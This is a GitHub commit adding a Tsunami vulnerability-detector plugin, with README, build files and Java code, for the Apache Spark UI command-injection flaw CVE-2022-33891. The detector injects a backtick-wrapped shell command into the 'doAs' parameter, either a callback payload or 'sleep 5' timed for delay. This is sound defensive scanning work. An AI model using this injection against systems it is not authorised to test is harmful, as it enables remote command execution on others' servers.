Skip to content

Commit aafcf64

Browse files
Merge pull request #440 from OccamsXor:cve202233891
PiperOrigin-RevId: 620057232 Change-Id: I8e066a700b550cc9b21434f0dbc0cd98ae4674a3
2 parents 8d2170e + 5dcc51a commit aafcf64

File tree

7 files changed

+610
-0
lines changed

7 files changed

+610
-0
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Apache Spark UI CVE-2022-33891 RCE Vulnerability Detector
2+
3+
This detector checks for Apache Spark UI CVE-2022-33891 RCE vulnerability.
4+
5+
The Apache Spark UI offers the possibility to enable ACLs via the configuration
6+
option spark.acls.enable. With an authentication filter, this checks whether a
7+
user has access permissions to view or modify the application. If ACLs are
8+
enabled, a code path in HttpSecurityFilter can allow someone to perform
9+
impersonation by providing an arbitrary user name. A malicious user might then
10+
be able to reach a permission check function that will ultimately build a Unix
11+
shell command based on their input, and execute it. This will result in
12+
arbitrary shell command execution as the user Spark is currently running as.
13+
This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2,
14+
and versions 3.2.0 to 3.2.1.
15+
16+
- https://spark.apache.org/security.html#CVE-2022-33891
17+
- https://nvd.nist.gov/vuln/detail/cve-2022-33891
18+
19+
## Build jar file for this plugin
20+
21+
Using `gradlew`:
22+
23+
```shell
24+
./gradlew jar
25+
```
26+
27+
Tsunami identifiable jar file is located at `build/libs` directory.
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
plugins {
2+
id 'java-library'
3+
}
4+
5+
description = 'Tsunami CVE-2022-33891 VulnDetector plugin.'
6+
group 'com.google.tsunami'
7+
version '0.0.1-SNAPSHOT'
8+
9+
10+
repositories {
11+
maven { // The google mirror is less flaky than mavenCentral()
12+
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
13+
}
14+
mavenCentral()
15+
mavenLocal()
16+
}
17+
18+
java {
19+
sourceCompatibility = JavaVersion.VERSION_11
20+
targetCompatibility = JavaVersion.VERSION_11
21+
22+
jar.manifest {
23+
attributes('Implementation-Title': name,
24+
'Implementation-Version': version,
25+
'Built-By': System.getProperty('user.name'),
26+
'Built-JDK': System.getProperty('java.version'),
27+
'Source-Compatibility': sourceCompatibility,
28+
'Target-Compatibility': targetCompatibility)
29+
}
30+
31+
javadoc.options {
32+
encoding = 'UTF-8'
33+
use = true
34+
links 'https://docs.oracle.com/javase/8/docs/api/'
35+
}
36+
37+
// Log stacktrace to console when test fails.
38+
test {
39+
testLogging {
40+
exceptionFormat = 'full'
41+
showExceptions true
42+
showCauses true
43+
showStackTraces true
44+
}
45+
maxHeapSize = '1500m'
46+
}
47+
}
48+
49+
ext {
50+
tsunamiVersion = 'latest.release'
51+
junitVersion = '4.13'
52+
mockitoVersion = '2.28.2'
53+
truthVersion = '1.0.1'
54+
okhttpVersion = '3.12.0'
55+
}
56+
57+
dependencies {
58+
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
59+
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
60+
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
61+
62+
testImplementation "junit:junit:${junitVersion}"
63+
testImplementation "org.mockito:mockito-core:${mockitoVersion}"
64+
testImplementation "com.google.truth:truth:${truthVersion}"
65+
testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}"
66+
testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}"
67+
testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}"
68+
}
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
rootProject.name = 'CVE-2022-33891'
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
/*
2+
* Copyright 2024 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
package com.google.tsunami.plugins.detectors.cves.cve202233891;
17+
18+
import com.google.tsunami.plugin.PluginBootstrapModule;
19+
20+
/** An CVE-2023-6014 Guice module that bootstraps the {@link Cve20236014VulnDetector}. */
21+
public class Cve202233891DetectorBootstrapModule extends PluginBootstrapModule {
22+
@Override
23+
protected void configurePlugin() {
24+
registerPlugin(Cve202233891VulnDetector.class);
25+
}
26+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
/*
2+
* Copyright 2024 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
package com.google.tsunami.plugins.detectors.cves.cve202233891;
17+
18+
import static com.google.common.base.Preconditions.checkNotNull;
19+
import static com.google.common.collect.ImmutableList.toImmutableList;
20+
import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority;
21+
22+
import com.google.common.base.Stopwatch;
23+
import com.google.common.collect.ImmutableList;
24+
import com.google.common.flogger.GoogleLogger;
25+
import com.google.protobuf.util.Timestamps;
26+
import com.google.tsunami.common.data.NetworkServiceUtils;
27+
import com.google.tsunami.common.net.http.HttpClient;
28+
import com.google.tsunami.common.net.http.HttpRequest;
29+
import com.google.tsunami.common.time.UtcClock;
30+
import com.google.tsunami.plugin.PluginType;
31+
import com.google.tsunami.plugin.VulnDetector;
32+
import com.google.tsunami.plugin.annotations.ForWebService;
33+
import com.google.tsunami.plugin.annotations.PluginInfo;
34+
import com.google.tsunami.plugin.payload.Payload;
35+
import com.google.tsunami.plugin.payload.PayloadGenerator;
36+
import com.google.tsunami.proto.DetectionReport;
37+
import com.google.tsunami.proto.DetectionReportList;
38+
import com.google.tsunami.proto.DetectionStatus;
39+
import com.google.tsunami.proto.NetworkService;
40+
import com.google.tsunami.proto.PayloadGeneratorConfig;
41+
import com.google.tsunami.proto.Severity;
42+
import com.google.tsunami.proto.TargetInfo;
43+
import com.google.tsunami.proto.Vulnerability;
44+
import com.google.tsunami.proto.VulnerabilityId;
45+
import java.io.IOException;
46+
import java.time.Clock;
47+
import java.time.Instant;
48+
import javax.inject.Inject;
49+
50+
/** A VulnDetector plugin for CVE 202233891. */
51+
@PluginInfo(
52+
type = PluginType.VULN_DETECTION,
53+
name = "CVE-2022-33891 Detector",
54+
version = "0.1",
55+
description = "Checks for occurrences of CVE-2022-33891 in Apache Spark installations.",
56+
author = "OccamsXor",
57+
bootstrapModule = Cve202233891DetectorBootstrapModule.class)
58+
@ForWebService
59+
public final class Cve202233891VulnDetector implements VulnDetector {
60+
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
61+
62+
private final Clock utcClock;
63+
private final HttpClient httpClient;
64+
private final PayloadGenerator payloadGenerator;
65+
66+
private static final short SLEEP_CMD_WAIT_DURATION_SECONDS = 5;
67+
68+
@Inject
69+
Cve202233891VulnDetector(
70+
@UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) {
71+
this.utcClock = checkNotNull(utcClock);
72+
this.httpClient =
73+
checkNotNull(httpClient, "HttpClient cannot be null.")
74+
.modify()
75+
.setFollowRedirects(false)
76+
.build();
77+
this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null.");
78+
}
79+
80+
@Override
81+
public DetectionReportList detect(
82+
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
83+
84+
return DetectionReportList.newBuilder()
85+
.addAllDetectionReports(
86+
matchedServices.stream()
87+
.filter(Cve202233891VulnDetector::isWebServiceOrUnknownService)
88+
.filter(this::isServiceVulnerable)
89+
.map(networkService -> buildDetectionReport(targetInfo, networkService))
90+
.collect(toImmutableList()))
91+
.build();
92+
}
93+
94+
private static boolean isWebServiceOrUnknownService(NetworkService networkService) {
95+
return networkService.getServiceName().isEmpty()
96+
|| NetworkServiceUtils.isWebService(networkService)
97+
|| NetworkServiceUtils.getServiceName(networkService).equals("unknown");
98+
}
99+
100+
private static StringBuilder buildTarget(NetworkService networkService) {
101+
StringBuilder targetUrlBuilder = new StringBuilder();
102+
if (NetworkServiceUtils.isWebService(networkService)) {
103+
targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService));
104+
} else {
105+
targetUrlBuilder
106+
.append("https://")
107+
.append(toUriAuthority(networkService.getNetworkEndpoint()))
108+
.append("/");
109+
}
110+
return targetUrlBuilder;
111+
}
112+
113+
private boolean isServiceVulnerable(NetworkService networkService) {
114+
return isRceExecutable(networkService);
115+
}
116+
117+
private boolean isRceExecutable(NetworkService networkService) {
118+
Payload payload;
119+
if (payloadGenerator.isCallbackServerEnabled()) {
120+
// Check callback server is enabled
121+
logger.atInfo().log("Callback server is available!");
122+
payload = generateCallbackServerPayload();
123+
String targetUri =
124+
buildTarget(networkService).append("?doAs=`" + payload.getPayload() + "`").toString();
125+
var request = HttpRequest.get(targetUri).withEmptyHeaders().build();
126+
127+
try {
128+
var response = this.httpClient.send(request, networkService);
129+
logger.atInfo().log("Callback Server Payload Response: %s", response.bodyString().get());
130+
return payload.checkIfExecuted();
131+
132+
} catch (IOException e) {
133+
logger.atWarning().withCause(e).log("Failed to send request.");
134+
return false;
135+
}
136+
} else {
137+
// If there is no callback server available, try sleep
138+
logger.atInfo().log("Callback server is not available!");
139+
Stopwatch stopwatch = Stopwatch.createUnstarted();
140+
String targetUri = buildTarget(networkService).append("?doAs=`sleep 5`").toString();
141+
var request = HttpRequest.get(targetUri).withEmptyHeaders().build();
142+
try {
143+
stopwatch.start();
144+
var response = this.httpClient.send(request, networkService);
145+
stopwatch.stop();
146+
logger.atInfo().log("Callback Server Payload Response: %s", response.bodyString().get());
147+
return stopwatch.elapsed().getSeconds() >= SLEEP_CMD_WAIT_DURATION_SECONDS;
148+
} catch (IOException e) {
149+
logger.atWarning().withCause(e).log("Failed to send request.");
150+
stopwatch.stop();
151+
return false;
152+
}
153+
}
154+
}
155+
156+
private Payload generateCallbackServerPayload() {
157+
PayloadGeneratorConfig config =
158+
PayloadGeneratorConfig.newBuilder()
159+
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE)
160+
.setInterpretationEnvironment(
161+
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
162+
.setExecutionEnvironment(
163+
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
164+
.build();
165+
166+
return this.payloadGenerator.generate(config);
167+
}
168+
169+
private DetectionReport buildDetectionReport(
170+
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
171+
return DetectionReport.newBuilder()
172+
.setTargetInfo(targetInfo)
173+
.setNetworkService(vulnerableNetworkService)
174+
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
175+
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
176+
.setVulnerability(
177+
Vulnerability.newBuilder()
178+
.setMainId(
179+
VulnerabilityId.newBuilder()
180+
.setPublisher("TSUNAMI_COMMUNITY")
181+
.setValue("CVE_2022_33891"))
182+
.setSeverity(Severity.CRITICAL)
183+
.setTitle("CVE-2022-33891 Apache Spark UI RCE")
184+
.setDescription(
185+
"The Apache Spark UI has spark.acls.enable configuration option which provides"
186+
+ " capability to modify the application according to user's permissions."
187+
+ " When the config is true, the vulnerable versions of Spark checks the"
188+
+ " group membership of the user without proper controls, that results in"
189+
+ " blind command injection in username parameter.")
190+
.setRecommendation(
191+
"You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later"))
192+
.build();
193+
}
194+
}

0 commit comments

Comments
 (0)